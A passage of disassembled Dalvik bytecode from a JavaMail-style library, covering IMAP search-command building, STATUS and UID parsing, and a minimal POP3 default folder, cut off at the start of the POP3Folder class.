0000000A instance-of v0, p0, OrTerm
0000000E if-eqz v0, :56
:12
00000012 instance-of v0, p0, AndTerm
00000016 if-eqz v0, :32
:1A
0000001A check-cast p0, AndTerm
0000001E invoke-virtual AndTerm->getTerms()[SearchTerm, p0
00000024 move-result-object v0
:26
00000026 move v1, v2
:28
00000028 array-length v3, v0
0000002A if-lt v1, v3, :40
:2E
0000002E const/4 v2, 0x1
:30
00000030 return v2
:32
00000032 check-cast p0, OrTerm
00000036 invoke-virtual OrTerm->getTerms()[SearchTerm, p0
0000003C move-result-object v0
0000003E goto :26
:40
00000040 aget-object v3, v0, v1
00000044 invoke-static SearchSequence->isAscii(SearchTerm)Z, v3
0000004A move-result v3
0000004C if-eqz v3, :30
:50
00000050 add-int/lit8 v1, v1, 0x1
00000054 goto :28
:56
00000056 instance-of v0, p0, NotTerm
0000005A if-eqz v0, :74
:5E
0000005E check-cast p0, NotTerm
00000062 invoke-virtual NotTerm->getTerm()SearchTerm, p0
00000068 move-result-object v0
0000006A invoke-static SearchSequence->isAscii(SearchTerm)Z, v0
00000070 move-result v2
00000072 goto :30
:74
00000074 instance-of v0, p0, StringTerm
00000078 if-eqz v0, :92
:7C
0000007C check-cast p0, StringTerm
00000080 invoke-virtual StringTerm->getPattern()String, p0
00000086 move-result-object v0
00000088 invoke-static SearchSequence->isAscii(String)Z, v0
0000008E move-result v2
00000090 goto :30
:92
00000092 instance-of v0, p0, AddressTerm
00000096 if-eqz v0, :2E
:9A
0000009A check-cast p0, AddressTerm
0000009E invoke-virtual AddressTerm->getAddress()Address, p0
000000A4 move-result-object v0
000000A6 invoke-virtual Address->toString()String, v0
000000AC move-result-object v0
000000AE invoke-static SearchSequence->isAscii(String)Z, v0
000000B4 move-result v2
000000B6 goto :30
.end method
.method private static messageid(MessageIDTerm, String)Argument
.registers 4
00000000 new-instance v0, Argument
00000004 invoke-direct Argument-><init>()V, v0
0000000A const-string v1, "HEADER"
0000000E invoke-virtual Argument->writeAtom(String)V, v0, v1
00000014 const-string v1, "Message-ID"
00000018 invoke-virtual Argument->writeString(String)V, v0, v1
0000001E invoke-virtual MessageIDTerm->getPattern()String, p0
00000024 move-result-object v1
00000026 invoke-virtual Argument->writeString(String, String)V, v0, v1, p1
0000002C return-object v0
.end method
.method private static not(NotTerm, String)Argument
.registers 5
00000000 new-instance v0, Argument
00000004 invoke-direct Argument-><init>()V, v0
0000000A const-string v1, "NOT"
0000000E invoke-virtual Argument->writeAtom(String)V, v0, v1
00000014 invoke-virtual NotTerm->getTerm()SearchTerm, p0
0000001A move-result-object v1
0000001C instance-of v2, v1, AndTerm
00000020 if-nez v2, :2C
:24
00000024 instance-of v2, v1, FlagTerm
00000028 if-eqz v2, :3C
:2C
0000002C invoke-static SearchSequence->generateSequence(SearchTerm, String)Argument, v1, p1
00000032 move-result-object v1
00000034 invoke-virtual Argument->writeArgument(Argument)V, v0, v1
:3A
0000003A return-object v0
:3C
0000003C invoke-static SearchSequence->generateSequence(SearchTerm, String)Argument, v1, p1
00000042 move-result-object v1
00000044 invoke-virtual Argument->append(Argument)V, v0, v1
0000004A goto :3A
.end method
.method private static or(OrTerm, String)Argument
.registers 9
00000000 const/4 v6, 0x0
00000002 const/4 v2, 0x1
00000004 invoke-virtual OrTerm->getTerms()[SearchTerm, p0
0000000A move-result-object v4
0000000C array-length v0, v4
0000000E const/4 v1, 0x2
00000010 if-le v0, v1, :E2
:14
00000014 aget-object v0, v4, v6
00000018 move v1, v2
:1A
0000001A array-length v3, v4
0000001C if-lt v1, v3, :A2
:20
00000020 check-cast v0, OrTerm
00000024 invoke-virtual OrTerm->getTerms()[SearchTerm, v0
0000002A move-result-object v0
:2C
0000002C new-instance v1, Argument
00000030 invoke-direct Argument-><init>()V, v1
00000036 array-length v3, v0
00000038 if-le v3, v2, :46
:3C
0000003C const-string v3, "OR"
00000040 invoke-virtual Argument->writeAtom(String)V, v1, v3
:46
00000046 aget-object v3, v0, v6
0000004A instance-of v3, v3, AndTerm
0000004E if-nez v3, :5E
:52
00000052 aget-object v3, v0, v6
00000056 instance-of v3, v3, FlagTerm
0000005A if-eqz v3, :BA
:5E
0000005E aget-object v3, v0, v6
00000062 invoke-static SearchSequence->generateSequence(SearchTerm, String)Argument, v3, p1
00000068 move-result-object v3
0000006A invoke-virtual Argument->writeArgument(Argument)V, v1, v3
:70
00000070 array-length v3, v0
00000072 if-le v3, v2, :A0
:76
00000076 aget-object v3, v0, v2
0000007A instance-of v3, v3, AndTerm
0000007E if-nez v3, :8E
:82
00000082 aget-object v3, v0, v2
00000086 instance-of v3, v3, FlagTerm
0000008A if-eqz v3, :CE
:8E
0000008E aget-object v0, v0, v2
00000092 invoke-static SearchSequence->generateSequence(SearchTerm, String)Argument, v0, p1
00000098 move-result-object v0
0000009A invoke-virtual Argument->writeArgument(Argument)V, v1, v0
:A0
000000A0 return-object v1
:A2
000000A2 new-instance v3, OrTerm
000000A6 aget-object v5, v4, v1
000000AA invoke-direct OrTerm-><init>(SearchTerm, SearchTerm)V, v3, v0, v5
000000B0 add-int/lit8 v0, v1, 0x1
000000B4 move v1, v0
000000B6 move-object v0, v3
000000B8 goto :1A
:BA
000000BA aget-object v3, v0, v6
000000BE invoke-static SearchSequence->generateSequence(SearchTerm, String)Argument, v3, p1
000000C4 move-result-object v3
000000C6 invoke-virtual Argument->append(Argument)V, v1, v3
000000CC goto :70
:CE
000000CE aget-object v0, v0, v2
000000D2 invoke-static SearchSequence->generateSequence(SearchTerm, String)Argument, v0, p1
000000D8 move-result-object v0
000000DA invoke-virtual Argument->append(Argument)V, v1, v0
000000E0 goto :A0
:E2
000000E2 move-object v0, v4
000000E4 goto :2C
.end method
.method private static receiveddate(DateTerm)Argument
.registers 5
00000000 new-instance v0, Argument
00000004 invoke-direct Argument-><init>()V, v0
0000000A invoke-virtual DateTerm->getDate()Date, p0
00000010 move-result-object v1
00000012 invoke-static SearchSequence->toIMAPDate(Date)String, v1
00000018 move-result-object v1
0000001A invoke-virtual DateTerm->getComparison()I, p0
00000020 move-result v2
00000022 packed-switch v2, :144
:28
00000028 new-instance v0, SearchException
0000002C const-string v1, "Cannot handle Date Comparison"
00000030 invoke-direct SearchException-><init>(String)V, v0, v1
00000036 throw v0
:38
00000038 new-instance v2, StringBuilder
0000003C const-string v3, "SINCE "
00000040 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000046 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
0000004C move-result-object v1
0000004E invoke-virtual StringBuilder->toString()String, v1
00000054 move-result-object v1
00000056 invoke-virtual Argument->writeAtom(String)V, v0, v1
:5C
0000005C return-object v0
:5E
0000005E new-instance v2, StringBuilder
00000062 const-string v3, "ON "
00000066 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000006C invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
00000072 move-result-object v1
00000074 invoke-virtual StringBuilder->toString()String, v1
0000007A move-result-object v1
0000007C invoke-virtual Argument->writeAtom(String)V, v0, v1
00000082 goto :5C
:84
00000084 new-instance v2, StringBuilder
00000088 const-string v3, "BEFORE "
0000008C invoke-direct StringBuilder-><init>(String)V, v2, v3
00000092 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
00000098 move-result-object v1
0000009A invoke-virtual StringBuilder->toString()String, v1
000000A0 move-result-object v1
000000A2 invoke-virtual Argument->writeAtom(String)V, v0, v1
000000A8 goto :5C
:AA
000000AA new-instance v2, StringBuilder
000000AE const-string v3, "OR SINCE "
000000B2 invoke-direct StringBuilder-><init>(String)V, v2, v3
000000B8 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
000000BE move-result-object v2
000000C0 const-string v3, " ON "
000000C4 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
000000CA move-result-object v2
000000CC invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
000000D2 move-result-object v1
000000D4 invoke-virtual StringBuilder->toString()String, v1
000000DA move-result-object v1
000000DC invoke-virtual Argument->writeAtom(String)V, v0, v1
000000E2 goto :5C
:E4
000000E4 new-instance v2, StringBuilder
000000E8 const-string v3, "OR BEFORE "
000000EC invoke-direct StringBuilder-><init>(String)V, v2, v3
000000F2 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
000000F8 move-result-object v2
000000FA const-string v3, " ON "
000000FE invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000104 move-result-object v2
00000106 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
0000010C move-result-object v1
0000010E invoke-virtual StringBuilder->toString()String, v1
00000114 move-result-object v1
00000116 invoke-virtual Argument->writeAtom(String)V, v0, v1
0000011C goto :5C
:11E
0000011E new-instance v2, StringBuilder
00000122 const-string v3, "NOT ON "
00000126 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000012C invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
00000132 move-result-object v1
00000134 invoke-virtual StringBuilder->toString()String, v1
0000013A move-result-object v1
0000013C invoke-virtual Argument->writeAtom(String)V, v0, v1
00000142 goto :5C
00000144 .packed-switch 0x1
:E4
:84
:5E
:11E
:38
:AA
.end packed-switch
.end method
.method private static recipient(Message$RecipientType, String, String)Argument
.registers 5
00000000 new-instance v0, Argument
00000004 invoke-direct Argument-><init>()V, v0
0000000A sget-object v1, Message$RecipientType->TO:Message$RecipientType
0000000E if-ne p0, v1, :24
:12
00000012 const-string v1, "TO"
00000016 invoke-virtual Argument->writeAtom(String)V, v0, v1
:1C
0000001C invoke-virtual Argument->writeString(String, String)V, v0, p1, p2
00000022 return-object v0
:24
00000024 sget-object v1, Message$RecipientType->CC:Message$RecipientType
00000028 if-ne p0, v1, :38
:2C
0000002C const-string v1, "CC"
00000030 invoke-virtual Argument->writeAtom(String)V, v0, v1
00000036 goto :1C
:38
00000038 sget-object v1, Message$RecipientType->BCC:Message$RecipientType
0000003C if-ne p0, v1, :4C
:40
00000040 const-string v1, "BCC"
00000044 invoke-virtual Argument->writeAtom(String)V, v0, v1
0000004A goto :1C
:4C
0000004C new-instance v0, SearchException
00000050 const-string v1, "Illegal Recipient type"
00000054 invoke-direct SearchException-><init>(String)V, v0, v1
0000005A throw v0
.end method
.method private static sentdate(DateTerm)Argument
.registers 5
00000000 new-instance v0, Argument
00000004 invoke-direct Argument-><init>()V, v0
0000000A invoke-virtual DateTerm->getDate()Date, p0
00000010 move-result-object v1
00000012 invoke-static SearchSequence->toIMAPDate(Date)String, v1
00000018 move-result-object v1
0000001A invoke-virtual DateTerm->getComparison()I, p0
00000020 move-result v2
00000022 packed-switch v2, :144
:28
00000028 new-instance v0, SearchException
0000002C const-string v1, "Cannot handle Date Comparison"
00000030 invoke-direct SearchException-><init>(String)V, v0, v1
00000036 throw v0
:38
00000038 new-instance v2, StringBuilder
0000003C const-string v3, "SENTSINCE "
00000040 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000046 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
0000004C move-result-object v1
0000004E invoke-virtual StringBuilder->toString()String, v1
00000054 move-result-object v1
00000056 invoke-virtual Argument->writeAtom(String)V, v0, v1
:5C
0000005C return-object v0
:5E
0000005E new-instance v2, StringBuilder
00000062 const-string v3, "SENTON "
00000066 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000006C invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
00000072 move-result-object v1
00000074 invoke-virtual StringBuilder->toString()String, v1
0000007A move-result-object v1
0000007C invoke-virtual Argument->writeAtom(String)V, v0, v1
00000082 goto :5C
:84
00000084 new-instance v2, StringBuilder
00000088 const-string v3, "SENTBEFORE "
0000008C invoke-direct StringBuilder-><init>(String)V, v2, v3
00000092 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
00000098 move-result-object v1
0000009A invoke-virtual StringBuilder->toString()String, v1
000000A0 move-result-object v1
000000A2 invoke-virtual Argument->writeAtom(String)V, v0, v1
000000A8 goto :5C
:AA
000000AA new-instance v2, StringBuilder
000000AE const-string v3, "OR SENTSINCE "
000000B2 invoke-direct StringBuilder-><init>(String)V, v2, v3
000000B8 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
000000BE move-result-object v2
000000C0 const-string v3, " SENTON "
000000C4 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
000000CA move-result-object v2
000000CC invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
000000D2 move-result-object v1
000000D4 invoke-virtual StringBuilder->toString()String, v1
000000DA move-result-object v1
000000DC invoke-virtual Argument->writeAtom(String)V, v0, v1
000000E2 goto :5C
:E4
000000E4 new-instance v2, StringBuilder
000000E8 const-string v3, "OR SENTBEFORE "
000000EC invoke-direct StringBuilder-><init>(String)V, v2, v3
000000F2 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
000000F8 move-result-object v2
000000FA const-string v3, " SENTON "
000000FE invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000104 move-result-object v2
00000106 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
0000010C move-result-object v1
0000010E invoke-virtual StringBuilder->toString()String, v1
00000114 move-result-object v1
00000116 invoke-virtual Argument->writeAtom(String)V, v0, v1
0000011C goto :5C
:11E
0000011E new-instance v2, StringBuilder
00000122 const-string v3, "NOT SENTON "
00000126 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000012C invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
00000132 move-result-object v1
00000134 invoke-virtual StringBuilder->toString()String, v1
0000013A move-result-object v1
0000013C invoke-virtual Argument->writeAtom(String)V, v0, v1
00000142 goto :5C
00000144 .packed-switch 0x1
:E4
:84
:5E
:11E
:38
:AA
.end packed-switch
.end method
.method private static size(SizeTerm)Argument
.registers 3
00000000 new-instance v0, Argument
00000004 invoke-direct Argument-><init>()V, v0
0000000A invoke-virtual SizeTerm->getComparison()I, p0
00000010 move-result v1
00000012 packed-switch v1, :50
:18
00000018 new-instance v0, SearchException
0000001C const-string v1, "Cannot handle Comparison"
00000020 invoke-direct SearchException-><init>(String)V, v0, v1
00000026 throw v0
:28
00000028 const-string v1, "LARGER"
0000002C invoke-virtual Argument->writeAtom(String)V, v0, v1
:32
00000032 invoke-virtual SizeTerm->getNumber()I, p0
00000038 move-result v1
0000003A invoke-virtual Argument->writeNumber(I)V, v0, v1
00000040 return-object v0
:42
00000042 const-string v1, "SMALLER"
00000046 invoke-virtual Argument->writeAtom(String)V, v0, v1
0000004C goto :32
00000050 .packed-switch 0x2
:42
:18
:18
:28
.end packed-switch
.end method
.method private static subject(SubjectTerm, String)Argument
.registers 4
00000000 new-instance v0, Argument
00000004 invoke-direct Argument-><init>()V, v0
0000000A const-string v1, "SUBJECT"
0000000E invoke-virtual Argument->writeAtom(String)V, v0, v1
00000014 invoke-virtual SubjectTerm->getPattern()String, p0
0000001A move-result-object v1
0000001C invoke-virtual Argument->writeString(String, String)V, v0, v1, p1
00000022 return-object v0
.end method
.method private static toIMAPDate(Date)String
.registers 5
00000000 new-instance v0, StringBuffer
00000004 invoke-direct StringBuffer-><init>()V, v0
0000000A sget-object v1, SearchSequence->cal:Calendar
0000000E invoke-virtual Calendar->setTime(Date)V, v1, p0
00000014 sget-object v1, SearchSequence->cal:Calendar
00000018 const/4 v2, 0x5
0000001A invoke-virtual Calendar->get(I)I, v1, v2
00000020 move-result v1
00000022 invoke-virtual StringBuffer->append(I)StringBuffer, v0, v1
00000028 move-result-object v1
0000002A const-string v2, "-"
0000002E invoke-virtual StringBuffer->append(String)StringBuffer, v1, v2
00000034 sget-object v1, SearchSequence->monthTable:[String
00000038 sget-object v2, SearchSequence->cal:Calendar
0000003C const/4 v3, 0x2
0000003E invoke-virtual Calendar->get(I)I, v2, v3
00000044 move-result v2
00000046 aget-object v1, v1, v2
0000004A invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
00000050 move-result-object v1
00000052 const/16 v2, 0x2D
00000056 invoke-virtual StringBuffer->append(C)StringBuffer, v1, v2
0000005C sget-object v1, SearchSequence->cal:Calendar
00000060 const/4 v2, 0x1
00000062 invoke-virtual Calendar->get(I)I, v1, v2
00000068 move-result v1
0000006A invoke-virtual StringBuffer->append(I)StringBuffer, v0, v1
00000070 invoke-virtual StringBuffer->toString()String, v0
00000076 move-result-object v0
00000078 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public Status
.super Object
.source ""
.field static final standardItems:[String
.field public mbox:String
.field public recent:I
.field public total:I
.field public uidnext:J
.field public uidvalidity:J
.field public unseen:I
.method static constructor <clinit>()V
.registers 3
00000000 const/4 v0, 0x5
00000002 new-array v0, v0, [String
00000006 const/4 v1, 0x0
00000008 const-string v2, "MESSAGES"
0000000C aput-object v2, v0, v1
00000010 const/4 v1, 0x1
00000012 const-string v2, "RECENT"
00000016 aput-object v2, v0, v1
0000001A const/4 v1, 0x2
0000001C const-string v2, "UNSEEN"
00000020 aput-object v2, v0, v1
00000024 const/4 v1, 0x3
00000026 const-string v2, "UIDNEXT"
0000002A aput-object v2, v0, v1
0000002E const/4 v1, 0x4
00000030 const-string v2, "UIDVALIDITY"
00000034 aput-object v2, v0, v1
00000038 sput-object v0, Status->standardItems:[String
0000003C return-void
.end method
.method public constructor <init>(Response)V
.registers 6
00000000 const-wide/16 v2, 0xFFFFFFFFFFFFFFFF
00000004 const/4 v1, 0xFFFFFFFFFFFFFFFF
00000006 invoke-direct Object-><init>()V, p0
0000000C const/4 v0, 0x0
0000000E iput-object v0, p0, Status->mbox:String
00000012 iput v1, p0, Status->total:I
00000016 iput v1, p0, Status->recent:I
0000001A iput-wide v2, p0, Status->uidnext:J
0000001E iput-wide v2, p0, Status->uidvalidity:J
00000022 iput v1, p0, Status->unseen:I
00000026 invoke-virtual Response->readAtomString()String, p1
0000002C move-result-object v0
0000002E iput-object v0, p0, Status->mbox:String
00000032 invoke-virtual Response->skipSpaces()V, p1
00000038 invoke-virtual Response->readByte()B, p1
0000003E move-result v0
00000040 const/16 v1, 0x28
00000044 if-eq v0, v1, :58
:48
00000048 new-instance v0, ParsingException
0000004C const-string v1, "parse error in STATUS"
00000050 invoke-direct ParsingException-><init>(String)V, v0, v1
00000056 throw v0
:58
00000058 invoke-virtual Response->readAtom()String, p1
0000005E move-result-object v0
00000060 const-string v1, "MESSAGES"
00000064 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
0000006A move-result v1
0000006C if-eqz v1, :8E
:70
00000070 invoke-virtual Response->readNumber()I, p1
00000076 move-result v0
00000078 iput v0, p0, Status->total:I
:7C
0000007C invoke-virtual Response->readByte()B, p1
00000082 move-result v0
00000084 const/16 v1, 0x29
00000088 if-ne v0, v1, :58
:8C
0000008C return-void
:8E
0000008E const-string v1, "RECENT"
00000092 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000098 move-result v1
0000009A if-eqz v1, :AC
:9E
0000009E invoke-virtual Response->readNumber()I, p1
000000A4 move-result v0
000000A6 iput v0, p0, Status->recent:I
000000AA goto :7C
:AC
000000AC const-string v1, "UIDNEXT"
000000B0 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
000000B6 move-result v1
000000B8 if-eqz v1, :CA
:BC
000000BC invoke-virtual Response->readLong()J, p1
000000C2 move-result-wide v0
000000C4 iput-wide v0, p0, Status->uidnext:J
000000C8 goto :7C
:CA
000000CA const-string v1, "UIDVALIDITY"
000000CE invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
000000D4 move-result v1
000000D6 if-eqz v1, :E8
:DA
000000DA invoke-virtual Response->readLong()J, p1
000000E0 move-result-wide v0
000000E2 iput-wide v0, p0, Status->uidvalidity:J
000000E6 goto :7C
:E8
000000E8 const-string v1, "UNSEEN"
000000EC invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
000000F2 move-result v0
000000F4 if-eqz v0, :7C
:F8
000000F8 invoke-virtual Response->readNumber()I, p1
000000FE move-result v0
00000100 iput v0, p0, Status->unseen:I
00000104 goto :7C
.end method
.method public static add(Status, Status)V
.registers 7
00000000 const-wide/16 v3, 0xFFFFFFFFFFFFFFFF
00000004 const/4 v2, 0xFFFFFFFFFFFFFFFF
00000006 iget v0, p1, Status->total:I
0000000A if-eq v0, v2, :16
:E
0000000E iget v0, p1, Status->total:I
00000012 iput v0, p0, Status->total:I
:16
00000016 iget v0, p1, Status->recent:I
0000001A if-eq v0, v2, :26
:1E
0000001E iget v0, p1, Status->recent:I
00000022 iput v0, p0, Status->recent:I
:26
00000026 iget-wide v0, p1, Status->uidnext:J
0000002A cmp-long v0, v0, v3
0000002E if-eqz v0, :3A
:32
00000032 iget-wide v0, p1, Status->uidnext:J
00000036 iput-wide v0, p0, Status->uidnext:J
:3A
0000003A iget-wide v0, p1, Status->uidvalidity:J
0000003E cmp-long v0, v0, v3
00000042 if-eqz v0, :4E
:46
00000046 iget-wide v0, p1, Status->uidvalidity:J
0000004A iput-wide v0, p0, Status->uidvalidity:J
:4E
0000004E iget v0, p1, Status->unseen:I
00000052 if-eq v0, v2, :5E
:56
00000056 iget v0, p1, Status->unseen:I
0000005A iput v0, p0, Status->unseen:I
:5E
0000005E return-void
.end method
#--------------------------------------------------------------------------------
.class public UID
.super Object
.source ""
.implements Item
.field static final name:[C
.field public seqnum:I
.field public uid:J
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x3
00000002 new-array v0, v0, [C
00000006 fill-array-data v0, :14
0000000C sput-object v0, UID->name:[C
00000010 return-void
00000014 .array-data 2 x 0x3
0x55
0x49
0x44
.end array-data
.end method
.method public constructor <init>(FetchResponse)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 invoke-virtual FetchResponse->getNumber()I, p1
0000000C move-result v0
0000000E iput v0, p0, UID->seqnum:I
00000012 invoke-virtual FetchResponse->skipSpaces()V, p1
00000018 invoke-virtual FetchResponse->readLong()J, p1
0000001E move-result-wide v0
00000020 iput-wide v0, p0, UID->uid:J
00000024 return-void
.end method
#--------------------------------------------------------------------------------
.class public UIDSet
.super Object
.source ""
.field public end:J
.field public start:J
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(J, J)V
.registers 5
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-wide p1, p0, UIDSet->start:J
0000000A iput-wide p3, p0, UIDSet->end:J
0000000E return-void
.end method
.method public static createUIDSets([J)[UIDSet
.registers 10
00000000 new-instance v1, Vector
00000004 invoke-direct Vector-><init>()V, v1
0000000A const/4 v0, 0x0
:C
0000000C array-length v2, p0
0000000E if-lt v0, v2, :26
:12
00000012 invoke-virtual Vector->size()I, v1
00000018 move-result v0
0000001A new-array v0, v0, [UIDSet
0000001E invoke-virtual Vector->copyInto([Object)V, v1, v0
00000024 return-object v0
:26
00000026 new-instance v2, UIDSet
0000002A invoke-direct UIDSet-><init>()V, v2
00000030 aget-wide v3, p0, v0
00000034 iput-wide v3, v2, UIDSet->start:J
00000038 add-int/lit8 v0, v0, 0x1
:3C
0000003C array-length v3, p0
0000003E if-lt v0, v3, :5E
:42
00000042 add-int/lit8 v3, v0, 0xFFFFFFFFFFFFFFFF
00000046 aget-wide v3, p0, v3
0000004A iput-wide v3, v2, UIDSet->end:J
0000004E invoke-virtual Vector->addElement(Object)V, v1, v2
00000054 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000058 add-int/lit8 v0, v0, 0x1
0000005C goto :C
:5E
0000005E aget-wide v3, p0, v0
00000062 add-int/lit8 v5, v0, 0xFFFFFFFFFFFFFFFF
00000066 aget-wide v5, p0, v5
0000006A const-wide/16 v7, 0x1
0000006E add-long/2addr v5, v7
00000070 cmp-long v3, v3, v5
00000074 if-nez v3, :42
:78
00000078 add-int/lit8 v0, v0, 0x1
0000007C goto :3C
.end method
.method public static size([UIDSet)J
.registers 6
00000000 const-wide/16 v1, 0x0
00000004 if-nez p0, :A
:8
00000008 return-wide v1
:A
0000000A const/4 v0, 0x0
:C
0000000C array-length v3, p0
0000000E if-ge v0, v3, :8
:12
00000012 aget-object v3, p0, v0
00000016 invoke-virtual UIDSet->size()J, v3
0000001C move-result-wide v3
0000001E add-long/2addr v1, v3
00000020 add-int/lit8 v0, v0, 0x1
00000024 goto :C
.end method
.method public static toString([UIDSet)String
.registers 9
00000000 if-eqz p0, :A
:4
00000004 array-length v0, p0
00000006 if-nez v0, :E
:A
0000000A const/4 v0, 0x0
:C
0000000C return-object v0
:E
0000000E const/4 v0, 0x0
00000010 new-instance v1, StringBuffer
00000014 invoke-direct StringBuffer-><init>()V, v1
0000001A array-length v2, p0
:1C
0000001C aget-object v3, p0, v0
00000020 iget-wide v3, v3, UIDSet->start:J
00000024 aget-object v5, p0, v0
00000028 iget-wide v5, v5, UIDSet->end:J
0000002C cmp-long v7, v5, v3
00000030 if-lez v7, :60
:34
00000034 invoke-virtual StringBuffer->append(J)StringBuffer, v1, v3, v4
0000003A move-result-object v3
0000003C const/16 v4, 0x3A
00000040 invoke-virtual StringBuffer->append(C)StringBuffer, v3, v4
00000046 move-result-object v3
00000048 invoke-virtual StringBuffer->append(J)StringBuffer, v3, v5, v6
:4E
0000004E add-int/lit8 v0, v0, 0x1
00000052 if-lt v0, v2, :68
:56
00000056 invoke-virtual StringBuffer->toString()String, v1
0000005C move-result-object v0
0000005E goto :C
:60
00000060 invoke-virtual StringBuffer->append(J)StringBuffer, v1, v3, v4
00000066 goto :4E
:68
00000068 const/16 v3, 0x2C
0000006C invoke-virtual StringBuffer->append(C)StringBuffer, v1, v3
00000072 goto :1C
.end method
.method public size()J
.registers 5
00000000 iget-wide v0, p0, UIDSet->end:J
00000004 iget-wide v2, p0, UIDSet->start:J
00000008 sub-long/2addr v0, v2
0000000A const-wide/16 v2, 0x1
0000000E add-long/2addr v0, v2
00000010 return-wide v0
.end method
#--------------------------------------------------------------------------------
.class public DefaultFolder
.super Folder
.source ""
.method constructor <init>(POP3Store)V
.registers 2
00000000 invoke-direct Folder-><init>(Store)V, p0, p1
00000006 return-void
.end method
.method public appendMessages([Message)V
.registers 4
00000000 new-instance v0, MethodNotSupportedException
00000004 const-string v1, "Append not supported"
00000008 invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public close(Z)V
.registers 4
00000000 new-instance v0, MethodNotSupportedException
00000004 const-string v1, "close"
00000008 invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public create(I)Z
.registers 3
00000000 const/4 v0, 0x0
00000002 return v0
.end method
.method public delete(Z)Z
.registers 4
00000000 new-instance v0, MethodNotSupportedException
00000004 const-string v1, "delete"
00000008 invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public exists()Z
.registers 2
00000000 const/4 v0, 0x1
00000002 return v0
.end method
.method public expunge()[Message
.registers 3
00000000 new-instance v0, MethodNotSupportedException
00000004 const-string v1, "expunge"
00000008 invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public getFolder(String)Folder
.registers 4
00000000 const-string v0, "INBOX"
00000004 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
0000000A move-result v0
0000000C if-nez v0, :20
:10
00000010 new-instance v0, MessagingException
00000014 const-string v1, "only INBOX supported"
00000018 invoke-direct MessagingException-><init>(String)V, v0, v1
0000001E throw v0
:20
00000020 invoke-virtual DefaultFolder->getInbox()Folder, p0
00000026 move-result-object v0
00000028 return-object v0
.end method
.method public getFullName()String
.registers 2
00000000 const-string v0, ""
00000004 return-object v0
.end method
.method protected getInbox()Folder
.registers 3
00000000 invoke-virtual DefaultFolder->getStore()Store, p0
00000006 move-result-object v0
00000008 const-string v1, "INBOX"
0000000C invoke-virtual Store->getFolder(String)Folder, v0, v1
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public getMessage(I)Message
.registers 4
00000000 new-instance v0, MethodNotSupportedException
00000004 const-string v1, "getMessage"
00000008 invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public getMessageCount()I
.registers 2
00000000 const/4 v0, 0x0
00000002 return v0
.end method
.method public getName()String
.registers 2
00000000 const-string v0, ""
00000004 return-object v0
.end method
.method public getParent()Folder
.registers 2
00000000 const/4 v0, 0x0
00000002 return-object v0
.end method
.method public getPermanentFlags()Flags
.registers 2
00000000 new-instance v0, Flags
00000004 invoke-direct Flags-><init>()V, v0
0000000A return-object v0
.end method
.method public getSeparator()C
.registers 2
00000000 const/16 v0, 0x2F
00000004 return v0
.end method
.method public getType()I
.registers 2
00000000 const/4 v0, 0x2
00000002 return v0
.end method
.method public hasNewMessages()Z
.registers 2
00000000 const/4 v0, 0x0
00000002 return v0
.end method
.method public isOpen()Z
.registers 2
00000000 const/4 v0, 0x0
00000002 return v0
.end method
.method public list(String)[Folder
.registers 5
00000000 const/4 v0, 0x1
00000002 new-array v0, v0, [Folder
00000006 const/4 v1, 0x0
00000008 invoke-virtual DefaultFolder->getInbox()Folder, p0
0000000E move-result-object v2
00000010 aput-object v2, v0, v1
00000014 return-object v0
.end method
.method public open(I)V
.registers 4
00000000 new-instance v0, MethodNotSupportedException
00000004 const-string v1, "open"
00000008 invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public renameTo(Folder)Z
.registers 4
00000000 new-instance v0, MethodNotSupportedException
00000004 const-string v1, "renameTo"
00000008 invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
0000000E throw v0
.end method
#--------------------------------------------------------------------------------
.class public POP3Folder
.super Folder
.source ""
.field private doneUidl:Z
.field private exists:Z
.field private message_cache:Vector
.field private name:String
.field private opened:Z
.field private port:Protocol
.field private size:I
.field private total:I
